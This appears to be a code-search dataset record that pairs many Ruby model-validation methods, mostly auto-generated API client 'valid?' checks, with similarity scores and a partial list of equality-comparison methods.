"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n if !@name.nil? && @name.to_s.length > 31\n invalid_properties.push('invalid value for \"name\", the character length must be smaller than or equal to 31.')\n end\n\n pattern = Regexp.new(/^[a-zA-Z0-9\\-\\._:]+$/)\n if !@name.nil? && @name !~ pattern\n invalid_properties.push(\"invalid value for \\\"name\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n if !@static_wwpn_address.nil? && @static_wwpn_address !~ pattern\n invalid_properties.push(\"invalid value for \\\"static_wwpn_address\\\", must conform to the pattern #{pattern}.\")\n end\n\n pattern = Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n if !@wwpn.nil? && @wwpn !~ pattern\n invalid_properties.push(\"invalid value for \\\"wwpn\\\", must conform to the pattern #{pattern}.\")\n end\n\n invalid_properties\n end",
"def valid_save?\n valid = true\n\n if self.name.nil? || self.name == \"\"\n valid = false\n end\n\n if self.general_info.nil? || self.general_info == \"\"\n valid = false\n end\n\n if self.technical_specs.nil? || self.technical_specs == \"\"\n valid = false\n end\n\n if self.where_to_buy.nil? || self.where_to_buy == \"\"\n valid = false\n end\n\n return valid\n end",
"def valid?\n schema.validate(self)\n end",
"def valid?\n reset_errors\n valid_date?\n valid_user?\n valid_activity_type?\n self.errors.empty?\n end",
"def valid?\n validate\n end",
"def product_attributes_must_not_be_empty\n\n\t\t# Instance\n\t\tproduct = Product.new\n\n\t\tassert product.invalid?\n\t\tassert product.errors[:title].any?\n\t\tassert product.errors[:description].any?\n\t\tassert product.errors[:price].any?\n\t\tassert product.errors[:image_url].any?\n\tend",
"def valid?\n return false if @id.nil?\n return false if @id !~ Regexp.new(/^psc_[a-zA-Z0-9]+$/)\n carrier_validator = EnumAttributeValidator.new('String', [\"USPS\"])\n return false unless carrier_validator.valid?(@carrier)\n return false if !@front_template_id.nil? && @front_template_id !~ Regexp.new(/^tmpl_[a-zA-Z0-9]+$/)\n return false if !@back_template_id.nil? && @back_template_id !~ Regexp.new(/^tmpl_[a-zA-Z0-9]+$/)\n return false if !@front_template_version_id.nil? && @front_template_version_id !~ Regexp.new(/^vrsn_[a-zA-Z0-9]+$/)\n return false if !@back_template_version_id.nil? && @back_template_version_id !~ Regexp.new(/^vrsn_[a-zA-Z0-9]+$/)\n object_validator = EnumAttributeValidator.new('String', [\"postcard\"])\n return false unless object_validator.valid?(@object)\n return false if @url.nil?\n return false if @url !~ Regexp.new(/^https:\\/\\/(lob-assets|lob-assets-staging)\\.com\\/(letters|postcards|bank-accounts|checks|self-mailers|cards)\\/[a-z]{3,4}_[a-z0-9]{15,16}(\\.pdf|_thumb_[a-z]+_[0-9]+\\.png)\\?(version=[a-z0-9-]*&)?expires=[0-9]{10}&signature=[a-zA-Z0-9_-]+$/)\n return false if !@description.nil? && @description.to_s.length > 255\n true\n end",
"def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"network.ElementSummary\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"network.ElementSummary\"])\n return false unless object_type_validator.valid?(@object_type)\n ethernet_switching_mode_validator = EnumAttributeValidator.new('String', [\"end-host\", \"switch\"])\n return false unless ethernet_switching_mode_validator.valid?(@ethernet_switching_mode)\n fc_switching_mode_validator = EnumAttributeValidator.new('String', [\"end-host\", \"switch\"])\n return false unless fc_switching_mode_validator.valid?(@fc_switching_mode)\n management_mode_validator = EnumAttributeValidator.new('String', [\"IntersightStandalone\", \"UCSM\", \"Intersight\"])\n return false unless management_mode_validator.valid?(@management_mode)\n thermal_validator = EnumAttributeValidator.new('String', [\"unknown\", \"ok\", \"upper-non-recoverable\", \"upper-critical\", \"upper-non-critical\", \"lower-non-critical\", \"lower-critical\", \"lower-non-recoverable\"])\n return false unless thermal_validator.valid?(@thermal)\n true && super\n end",
"def valid?\n\t\t\t\ttrue\n\t\t\tend",
"def validate\r\n validate! rescue false\r\n end",
"def validate\n validate_string_attributes\n end",
"def valid?\n self.errors = Mongomatic::Errors.new\n do_callback(:before_validate)\n check_required_fields\n validate\n do_callback(:after_validate)\n self.errors.empty?\n end",
"def valid\n @valid\n end",
"def valid_objects\n all_objects.select { |o| o.valid? }\n end",
"def valid?\n return false if @summary.nil?\n return false if @summary.to_s.length > 100\n record_type_validator = EnumAttributeValidator.new('String', [\"ServiceTicket\", \"ProjectTicket\", \"ProjectIssue\"])\n return false unless record_type_validator.valid?(@record_type)\n return false if !@wbs_code.nil? && @wbs_code.to_s.length > 50\n return false if @company.nil?\n return false if !@site_name.nil? && @site_name.to_s.length > 50\n return false if !@address_line1.nil? && @address_line1.to_s.length > 50\n return false if !@address_line2.nil? && @address_line2.to_s.length > 50\n return false if !@city.nil? && @city.to_s.length > 50\n return false if !@state_identifier.nil? && @state_identifier.to_s.length > 50\n return false if !@zip.nil? && @zip.to_s.length > 12\n return false if !@contact_phone_number.nil? && @contact_phone_number.to_s.length > 20\n return false if !@contact_phone_extension.nil? && @contact_phone_extension.to_s.length > 15\n return false if !@contact_email_address.nil? && @contact_email_address.to_s.length > 250\n severity_validator = EnumAttributeValidator.new('String', [\"Low\", \"Medium\", \"High\"])\n return false unless severity_validator.valid?(@severity)\n impact_validator = EnumAttributeValidator.new('String', [\"Low\", \"Medium\", \"High\"])\n return false unless impact_validator.valid?(@impact)\n return false if !@external_x_ref.nil? && @external_x_ref.to_s.length > 100\n return false if !@po_number.nil? && @po_number.to_s.length > 50\n return false if !@automatic_email_cc.nil? && @automatic_email_cc.to_s.length > 1000\n sub_billing_method_validator = EnumAttributeValidator.new('String', [\"ActualRates\", \"FixedFee\", \"NotToExceed\", \"OverrideRate\"])\n return false unless sub_billing_method_validator.valid?(@sub_billing_method)\n knowledge_base_link_type_validator = EnumAttributeValidator.new('String', [\"ServiceTicket\", \"ProjectTicket\", \"ProjectIssue\", \"KnowledgeBaseArticle\", \"Time\", \"Activity\"])\n return false unless knowledge_base_link_type_validator.valid?(@knowledge_base_link_type)\n bill_time_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_time_validator.valid?(@bill_time)\n bill_expenses_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_expenses_validator.valid?(@bill_expenses)\n bill_products_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_products_validator.valid?(@bill_products)\n predecessor_type_validator = EnumAttributeValidator.new('String', [\"Ticket\", \"Phase\"])\n return false unless predecessor_type_validator.valid?(@predecessor_type)\n return true\n end",
"def validate!\n true\n end",
"def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"vnic.FcIf\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"vnic.FcIf\"])\n return false unless object_type_validator.valid?(@object_type)\n return false if !@name.nil? && @name.to_s.length > 31\n return false if !@name.nil? && @name !~ Regexp.new(/^[a-zA-Z0-9\\-\\._:]+$/)\n return false if !@static_wwpn_address.nil? && @static_wwpn_address !~ Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n type_validator = EnumAttributeValidator.new('String', [\"fc-initiator\", \"fc-nvme-initiator\", \"fc-nvme-target\", \"fc-target\"])\n return false unless type_validator.valid?(@type)\n return false if !@wwpn.nil? && @wwpn !~ Regexp.new(/^$|((^20|5[0-9a-fA-F]{1}):([0-9a-fA-F]{2}:){6}([0-9a-fA-F]{2}))/)\n wwpn_address_type_validator = EnumAttributeValidator.new('String', [\"POOL\", \"STATIC\"])\n return false unless wwpn_address_type_validator.valid?(@wwpn_address_type)\n true && super\n end",
"def valid?\n validate_survivors and validate_items && validate_records\n end",
"def valid?\n return false if @id.nil?\n return false if @next_send.nil?\n return false if @rrule.nil?\n return false if @session.nil?\n return false if @last_sent.nil?\n return false if @contact_name.nil?\n return false if @parameters.nil?\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', ['Once', 'Hourly', 'Daily', 'Weekly', 'Monthly', 'Yearly'])\n return false unless type_validator.valid?(@type)\n return false if @summary.nil?\n return false if @text_parameters.nil?\n return false if @first_occurrence.nil?\n return false if @last_occurrence.nil?\n return false if @recipients_count.nil?\n return false if @timezone.nil?\n return false if @completed.nil?\n return false if @avatar.nil?\n return false if @created_at.nil?\n true\n end",
"def valid?\n return false if !@description.nil? && @description.to_s.length > 255\n return false if @routing_number.nil?\n return false if @routing_number.to_s.length > 9\n return false if @routing_number.to_s.length < 9\n return false if @account_number.nil?\n return false if @account_number.to_s.length > 17\n return false if @account_type.nil?\n account_type_validator = EnumAttributeValidator.new('String', [\"company\", \"individual\"])\n return false unless account_type_validator.valid?(@account_type)\n return false if @signatory.nil?\n return false if @signatory.to_s.length > 30\n return false if @id.nil?\n return false if @id !~ Regexp.new(/^bank_[a-zA-Z0-9]+$/)\n return false if !@signature_url.nil? && @signature_url !~ Regexp.new(/^https:\\/\\/lob-assets\\.com\\/(letters|postcards|bank-accounts|checks|self-mailers|cards)\\/[a-z]{3,4}_[a-z0-9]{15,16}(\\.pdf|_thumb_[a-z]+_[0-9]+\\.png)\\?(version=[a-z0-9-]*&)?expires=[0-9]{10}&signature=[a-zA-Z0-9_-]+$/)\n return false if @date_created.nil?\n return false if @date_modified.nil?\n return false if @object.nil?\n object_validator = EnumAttributeValidator.new('String', [\"bank_account\"])\n return false unless object_validator.valid?(@object)\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n return false if @id.nil?\n return false if @account_id.nil?\n return false if @organization_id.nil?\n return false if @product_id.nil?\n return false if @product_rate_plan_id.nil?\n return false if @name.nil?\n type_validator = EnumAttributeValidator.new('String', [\"Subscription\", \"FixedTerm\", \"Trial\"])\n return false unless type_validator.valid?(@type)\n return false if @state.nil?\n state_validator = EnumAttributeValidator.new('String', [\"Trial\", \"Provisioned\", \"Paid\", \"AwaitingPayment\", \"Cancelled\", \"Failed\", \"Expired\"])\n return false unless state_validator.valid?(@state)\n return false if @initial_period_start.nil?\n return false if @trial_end.nil?\n managed_by_validator = EnumAttributeValidator.new('String', [\"BillForward\", \"Stripe\"])\n return false unless managed_by_validator.valid?(@managed_by)\n return false if @version_start.nil?\n return false if @version_number.nil?\n return false if @current_time.nil?\n failed_payment_behaviour_validator = EnumAttributeValidator.new('String', [\"CancelSubscription\", \"None\"])\n return false unless failed_payment_behaviour_validator.valid?(@failed_payment_behaviour)\n return true\n end",
"def validate_fields\n %w[email author].each do |field|\n value = self.send(field)\n abort \"Hoe #{field} value not set. aborting\" if value.nil? or value.empty?\n end\n end",
"def valid?\n return false if @name.nil?\n return false if @name.to_s.length < 1\n return false if @timezone.nil?\n return false if @timezone.to_s.length < 1\n return false if @currency.nil?\n return false if @currency.to_s.length < 1\n case_sensitivity_validator = EnumAttributeValidator.new('String', [\"sensitive\", \"insensitive-uppercase\", \"insensitive-lowercase\"])\n return false unless case_sensitivity_validator.valid?(@case_sensitivity)\n campaign_priority_validator = EnumAttributeValidator.new('String', [\"universal\", \"stackable\", \"exclusive\"])\n return false unless campaign_priority_validator.valid?(@campaign_priority)\n exclusive_campaigns_strategy_validator = EnumAttributeValidator.new('String', [\"listOrder\", \"lowestDiscount\", \"highestDiscount\"])\n return false unless exclusive_campaigns_strategy_validator.valid?(@exclusive_campaigns_strategy)\n default_discount_scope_validator = EnumAttributeValidator.new('String', [\"sessionTotal\", \"cartItems\", \"additionalCosts\"])\n return false unless default_discount_scope_validator.valid?(@default_discount_scope)\n default_discount_additional_cost_per_item_scope_validator = EnumAttributeValidator.new('String', [\"price\", \"itemTotal\", \"additionalCosts\"])\n return false unless default_discount_additional_cost_per_item_scope_validator.valid?(@default_discount_additional_cost_per_item_scope)\n true\n end",
"def valid?\n run_validation\n @errors.empty?\n end",
"def valid?\n MANDATORY_ATTRIBUTES.each{|a| return false unless self[a]}\n true\n end",
"def valid?\n return false if @id.nil?\n return false if @token.nil?\n return false if @tipo.nil?\n tipo_validator = EnumAttributeValidator.new('String', ['fatture', 'proforma', 'ordini', 'preventivi', 'ndc'])\n return false unless tipo_validator.valid?(@tipo)\n return false if @nome.nil?\n return false if @indirizzo_via.nil?\n return false if @indirizzo_cap.nil?\n return false if @indirizzo_citta.nil?\n return false if @indirizzo_provincia.nil?\n return false if @paese.nil?\n lingua_validator = EnumAttributeValidator.new('String', ['it', 'en', 'de'])\n return false unless lingua_validator.valid?(@lingua)\n return false if @piva.nil?\n return false if @cf.nil?\n return false if @numero.nil?\n return false if @valuta.nil?\n return false if @valuta_cambio.nil?\n return false if @prezzi_ivati.nil?\n return false if @importo_netto.nil?\n return false if @importo_iva.nil?\n return false if @importo_totale.nil?\n mostra_totali_validator = EnumAttributeValidator.new('String', ['tutti', 'netto', 'nessuno'])\n return false unless mostra_totali_validator.valid?(@mostra_totali)\n return false if @lista_articoli.nil?\n pa_tipo_cliente_validator = EnumAttributeValidator.new('String', ['PA', 'B2B'])\n return false unless pa_tipo_cliente_validator.valid?(@pa_tipo_cliente)\n pa_tipo_validator = EnumAttributeValidator.new('String', ['ordine', 'convenzione', 'contratto', 'nessuno'])\n return false unless pa_tipo_validator.valid?(@pa_tipo)\n pa_esigibilita_validator = EnumAttributeValidator.new('String', ['I', 'D', 'S', 'N'])\n return false unless pa_esigibilita_validator.valid?(@pa_esigibilita)\n true\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def list_invalid_properties\n invalid_properties = super\n if @class_id.nil?\n invalid_properties.push('invalid value for \"class_id\", class_id cannot be nil.')\n end\n\n if @object_type.nil?\n invalid_properties.push('invalid value for \"object_type\", object_type cannot be nil.')\n end\n\n invalid_properties\n end",
"def valid?\n return false if @name.nil?\n return false if @name.to_s.length > 50\n return false if @prefix_suffix_option.nil?\n prefix_suffix_option_validator = EnumAttributeValidator.new('String', [\"Prefix\", \"Suffix\"])\n return false unless prefix_suffix_option_validator.valid?(@prefix_suffix_option)\n return false if !@invoice_pre_suffix.nil? && @invoice_pre_suffix.to_s.length > 5\n application_units_validator = EnumAttributeValidator.new('String', [\"Amount\", \"Hours\", \"Incidents\"])\n return false unless application_units_validator.valid?(@application_units)\n application_cycle_validator = EnumAttributeValidator.new('String', [\"Contract2Weeks\", \"Contract4Weeks\", \"ContractYear\", \"CalendarMonth\", \"CalendarQuarter\", \"CalendarWeek\", \"ContractQuarter\", \"CalendarYear\"])\n return false unless application_cycle_validator.valid?(@application_cycle)\n return false if @employee_comp_rate.nil?\n employee_comp_rate_validator = EnumAttributeValidator.new('String', [\"Actual\", \"Hourly\"])\n return false unless employee_comp_rate_validator.valid?(@employee_comp_rate)\n return false if @employee_comp_not_exceed.nil?\n employee_comp_not_exceed_validator = EnumAttributeValidator.new('String', [\"Billing\", \"Percent\", \"Amount\"])\n return false unless employee_comp_not_exceed_validator.valid?(@employee_comp_not_exceed)\n return false if @invoicing_cycle.nil?\n invoicing_cycle_validator = EnumAttributeValidator.new('String', [\"CalendarYear\", \"ContractYear\"])\n return false unless invoicing_cycle_validator.valid?(@invoicing_cycle)\n return false if !@invoice_description.nil? && @invoice_description.to_s.length > 4000\n return false if @bill_time.nil?\n bill_time_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_time_validator.valid?(@bill_time)\n return false if @bill_expenses.nil?\n bill_expenses_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_expenses_validator.valid?(@bill_expenses)\n return false if @bill_products.nil?\n bill_products_validator = EnumAttributeValidator.new('String', [\"Billable\", \"DoNotBill\", \"NoCharge\", \"NoDefault\"])\n return false unless bill_products_validator.valid?(@bill_products)\n return true\n end",
"def validate\n end",
"def valid?\n return false if @to.nil?\n return false if @from.nil?\n carrier_validator = EnumAttributeValidator.new('String', [\"USPS\"])\n return false unless carrier_validator.valid?(@carrier)\n return false if @date_created.nil?\n return false if @date_modified.nil?\n return false if @id.nil?\n return false if @id !~ Regexp.new(/^ltr_[a-zA-Z0-9]+$/)\n return false if !@template_id.nil? && @template_id !~ Regexp.new(/^tmpl_[a-zA-Z0-9]+$/)\n return false if !@template_version_id.nil? && @template_version_id !~ Regexp.new(/^vrsn_[a-zA-Z0-9]+$/)\n return false if !@url.nil? && @url !~ Regexp.new(/^https:\\/\\/(lob-assets|lob-assets-staging)\\.com\\/(letters|postcards|bank-accounts|checks|self-mailers|cards)\\/[a-z]{3,4}_[a-z0-9]{15,16}(\\.pdf|_thumb_[a-z]+_[0-9]+\\.png)\\?(version=[a-z0-9-]*&)?expires=[0-9]{10}&signature=[a-zA-Z0-9_-]+$/)\n return false if @object.nil?\n object_validator = EnumAttributeValidator.new('String', [\"letter\"])\n return false unless object_validator.valid?(@object)\n return false if !@description.nil? && @description.to_s.length > 255\n return false if !@tracking_events.nil? && @tracking_events.length > 0\n address_placement_validator = EnumAttributeValidator.new('String', [\"top_first_page\", \"insert_blank_page\", \"bottom_first_page_center\", \"bottom_first_page\"])\n return false unless address_placement_validator.valid?(@address_placement)\n true\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def valid_attributes\n {}\n end",
"def supports_validations?\n true\n end",
"def valid?\n @errors = self.class.valid_against_schema?(self.class.json_schema, self)\n @errors.empty?\n end",
"def valid?\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n end",
"def valid?\n return false if @first_name.nil?\n return false if @first_name.to_s.length > 30\n return false if !@last_name.nil? && @last_name.to_s.length > 30\n return false if !@address_line1.nil? && @address_line1.to_s.length > 50\n return false if !@address_line2.nil? && @address_line2.to_s.length > 50\n return false if !@city.nil? && @city.to_s.length > 50\n return false if !@state.nil? && @state.to_s.length > 50\n return false if !@zip.nil? && @zip.to_s.length > 12\n return false if !@country.nil? && @country.to_s.length > 50\n return false if !@security_identifier.nil? && @security_identifier.to_s.length > 184\n return false if !@title.nil? && @title.to_s.length > 100\n return false if !@school.nil? && @school.to_s.length > 50\n return false if !@nick_name.nil? && @nick_name.to_s.length > 30\n return false if !@significant_other.nil? && @significant_other.to_s.length > 30\n return false if !@portal_password.nil? && @portal_password.to_s.length > 15\n return false if !@portal_security_level.nil? && @portal_security_level > 6.0\n return false if !@portal_security_level.nil? && @portal_security_level < 1.0\n gender_validator = EnumAttributeValidator.new('String', [\"Male\", \"Female\"])\n return false unless gender_validator.valid?(@gender)\n presence_validator = EnumAttributeValidator.new('String', [\"Online\", \"DoNotDisturb\", \"Away\", \"Offline\", \"NoAgent\"])\n return false unless presence_validator.valid?(@presence)\n return true\n end",
"def validated?; end",
"def valid?\n return false if @name.nil?\n return false if @slug.nil?\n return false if @status.nil?\n status_validator = EnumAttributeValidator.new('String', ['enabled', 'disabled'])\n return false unless status_validator.valid?(@status)\n return false if @type.nil?\n type_validator = EnumAttributeValidator.new('String', ['digital', 'physical'])\n return false unless type_validator.valid?(@type)\n return false if @sku.nil?\n return false if @price.nil?\n availability_validator = EnumAttributeValidator.new('String', ['available', 'comingSoon', 'retired'])\n return false unless availability_validator.valid?(@availability)\n stock_status_validator = EnumAttributeValidator.new('String', ['available', 'alert', 'unavailable'])\n return false unless stock_status_validator.valid?(@stock_status)\n return false if @categories.nil?\n true\n end",
"def valid?\n self.valid\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end"
] |
[
"0.78992486",
"0.78992486",
"0.70971805",
"0.70782334",
"0.7032205",
"0.7031276",
"0.69510347",
"0.6869891",
"0.6858077",
"0.6858077",
"0.68287027",
"0.6823878",
"0.6820306",
"0.68144894",
"0.6794656",
"0.6752167",
"0.66843414",
"0.6676546",
"0.6667755",
"0.66296124",
"0.66184515",
"0.6608204",
"0.6599208",
"0.6594276",
"0.6584302",
"0.6580472",
"0.6578095",
"0.6558585",
"0.6555879",
"0.6542414",
"0.6536983",
"0.6533884",
"0.65315515",
"0.65311855",
"0.65267456",
"0.65258855",
"0.6520786",
"0.65205675",
"0.6511026",
"0.6498394",
"0.64966303",
"0.64935124",
"0.6491113",
"0.64885867",
"0.6479024",
"0.6473706",
"0.64679337",
"0.6467217",
"0.6461245",
"0.64601135",
"0.64553183",
"0.64540446",
"0.6447954",
"0.64393955",
"0.6434162",
"0.64312094",
"0.6428205",
"0.6426148",
"0.6412439",
"0.64070046",
"0.64044213",
"0.6403482",
"0.6399368",
"0.63979715",
"0.63858813",
"0.63855004",
"0.63855004",
"0.63855004",
"0.63855004",
"0.63740236",
"0.6367379",
"0.63645166",
"0.6362151",
"0.63599974",
"0.6357385",
"0.63549066",
"0.63549066",
"0.63549066",
"0.63549066",
"0.6354845",
"0.6354207",
"0.6350302",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.6344303",
"0.63435715",
"0.63406414",
"0.63344824",
"0.6333158",
"0.63313466",
"0.63294095",
"0.6327076",
"0.63247603",
"0.63247603",
"0.63247603",
"0.63247603"
] |
0.0
|
-1
|
Checks equality by comparing each attribute.
|
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
id_conta == o.id_conta &&
id_pessoa == o.id_pessoa &&
id_cartao == o.id_cartao &&
id_bandeira == o.id_bandeira &&
id_tipo_cartao == o.id_tipo_cartao &&
numero_cartao == o.numero_cartao &&
nome_plastico == o.nome_plastico &&
cvv2 == o.cvv2 &&
data_geracao == o.data_geracao &&
data_validade == o.data_validade &&
cpf == o.cpf &&
tipo_portador == o.tipo_portador &&
trilha1 == o.trilha1 &&
trilha2 == o.trilha2 &&
trilha_cvv1 == o.trilha_cvv1 &&
trilha_cvv2 == o.trilha_cvv2 &&
flag_virtual == o.flag_virtual &&
nome_bandeira == o.nome_bandeira &&
flag_titular == o.flag_titular &&
sequencial_cartao == o.sequencial_cartao &&
id_status == o.id_status &&
descricao_status_cartao == o.descricao_status_cartao &&
data_status == o.data_status &&
id_estagio == o.id_estagio &&
descricao_estagio == o.descricao_estagio &&
data_estagio == o.data_estagio &&
numero_bin == o.numero_bin &&
id_produto == o.id_produto &&
descricao_produto == o.descricao_produto &&
id_status_conta == o.id_status_conta &&
descricao_status_conta == o.descricao_status_conta &&
data_embossing == o.data_embossing &&
codigo_desbloqueio == o.codigo_desbloqueio &&
nome_pessoa == o.nome_pessoa &&
tipo_pessoa == o.tipo_pessoa &&
data_nascimento == o.data_nascimento &&
id_endereco == o.id_endereco &&
id_tipo_endereco == o.id_tipo_endereco &&
descricao_tipo_endereco == o.descricao_tipo_endereco &&
cep == o.cep &&
logradouro == o.logradouro &&
numero_endereco == o.numero_endereco &&
complemento_endereco == o.complemento_endereco &&
bairro == o.bairro &&
cidade == o.cidade &&
uf == o.uf &&
pais == o.pais &&
senha_criptografada == o.senha_criptografada &&
icvv == o.icvv &&
id_status_impressao == o.id_status_impressao
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def ==(other)\n attributes == other.attributes\n end",
"def ==(other) # :nodoc:\n @attrs == other.attrs\n end",
"def eql?(other)\n return true if self == other\n @@ATTRIBUTES.each do |att|\n return false unless self.send(att).eql?(other.send(att))\n end\n true\n end",
"def assert_equal_attributes(object, expected_attributes)\n expected_attributes.each do |index, value|\n assert_equal value, object[index], \"#{index}\"\n end\n end",
"def attr_equal?(o)\n self == o and\n self.instance_variables_compare(o).empty? and\n self.attributes == o.attributes\n end",
"def same_attributes?(spec)\n @@attributes.all? {|name, default| self.send(name) == spec.send(name) }\n end",
"def ==(other)\n self.class.valid_attrs.each do |attr|\n return false if read(attr) != other.read(attr)\n end\n true\n end",
"def ==(other)\n self.attributes == (other.respond(:attributes) || {} )\n end",
"def ==(other)\n other.present? && self.attributes == other.attributes\n end",
"def ==(other)\n return false if other.nil? || !other.respond_to?(:attributes)\n attributes == other.attributes\n end",
"def match?(attributes)\n attributes.each do |attr, val|\n return false if send(attr).to_s != val.to_s\n end\n true\n end",
"def ==(other)\n self.class == other.class &&\n self.attributes == other.attributes\n end",
"def ==(other)\n self.class == other.class &&\n attributes == other.attributes\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.send(name) }\n end",
"def changed?(comparison)\n attributes.any? do |attribute, value|\n next unless comparison.key?(attribute)\n comparison[attribute] != value\n end\n end",
"def ==(other)\n return false unless self.class == other.class\n self.attributes == other.attributes\n end",
"def ==(other)\n if other.kind_of? Details::Attribute\n self.name == other.name && self.value == other.value\n else\n self.value == other\n end\n end",
"def ==(other)\n return false unless other.instance_of? self.class\n attributes == other.attributes\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end",
"def ==(other)\n return super unless other.is_a?(self.class)\n\n attributes.all? { |name, value| value == other.attributes[name] }\n end",
"def ==(other)\n Attribute === other && \n !(Expression === other) &&\n relation == other.relation && \n name == other.name && \n self.alias == other.alias && \n original_relation == other.original_relation\n end",
"def ==(obj)\n if obj.instance_of?(self.class)\n compare_attributes = [\"category_id\", \"combo_item_id\", \"quantity\", \"sequence\"]\n compare_attributes.each do |field|\n if self.send(field) != obj.send(field)\n return false\n end\n end\n return true\n end\n return false\n end",
"def ==(other)\n return false if other.class != self.class\n attr_hash == other.attr_hash\n end",
"def ==(other)\n case other\n when Chair::Row\n @attributes == other.instance_variable_get('@attributes')\n when Array\n @attributes.values == other\n else false\n end\n end",
"def == other\n return false unless other.kind_of? self.class\n attribute_of.all? do |key, val|\n val.get == other.__send__(key)\n end\n end",
"def correct_combination?(attr1, attr2, attr3)\n result = false\n if attr1 == attr2 && attr2 == attr3\n result = true\n elsif attr1 != attr2 && attr2 != attr3 && attr1 != attr3\n result = true\n end\n return result\n end",
"def ==(other)\n return false if self.class != other.class\n return super if @_lazer_model.required_properties.empty?\n @_lazer_model.required_properties.each do |key_name|\n return false if read_attribute(key_name) != other.read_attribute(key_name)\n end\n true\n end",
"def eql?(other)\n other.is_a?(self.class) && !self.class.comparison_attrs.find{|a| send(a) != other.send(a)}\n end",
"def verify_attributes(hash, expected)\n return [] unless expected.attributes\n expected.attributes.map{ |a| verify_attribute_value(hash[a.name.to_s], a) }\n end",
"def assert_attributes obj, attr_hash\n default_attr_hash = {}\n if obj.respond_to? :default_attr_hash\n default_attr_hash = obj.default_attr_hash\n end\n default_attr_hash.merge(attr_hash).each_pair do |key, value|\n assert_equal value, obj.__send__(key), \"Attribute #{key} of #{obj}\"\n end\n end",
"def match_attributes(attrs)\n attrs = Saxxy::Helpers.stringify_keys(attrs)\n attributes.reduce(true) do |b, (k, v)|\n value = attrs[k]\n b && ((!value.nil? && match(v, value)) || (v.nil? && value.nil?))\n end\n end",
"def equal_set(expected)\n message = \"#{Helpers.inspect_records(@object)} has the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id).sort\n right = expected.map(&:id).sort\n \n test_case.assert(left != right, message)\n end",
"def ===(other)\n required = self.class.required_attributes\n\n other.respond_to?(:keys) && (common = other.keys & required) &&\n common.size == other.keys.size && common.size == required.size\n end",
"def bt_same_value?(other)\n bt_value_attributes == other.bt_value_attributes\n end",
"def ==(x)\n return true if object_id == x.object_id\n return false unless x.kind_of?(AttrArray)\n each_with_index do |a, n|\n return false unless a == x[n]\n end\n true\n end",
"def equal_set(expected)\n message = \"#{Helpers.inspect_records(@object)} does not have the same records as #{Helpers.inspect_records(expected)}\"\n \n left = @object.map(&:id).sort\n right = expected.map(&:id).sort\n \n test_case.assert(left == right, message)\n end",
"def compare_attributes(data_criteria, criteria)\n return false unless data_criteria['dataElementAttributes']&.any?\n\n data_criteria['dataElementAttributes'].map { |dc| dc.except('_id') }.include? criteria['dataElementAttributes'][attribute_index].except('_id')\n end",
"def ==(other)\n @klass == other.class && @attributes == strip_active_record(other)\n end",
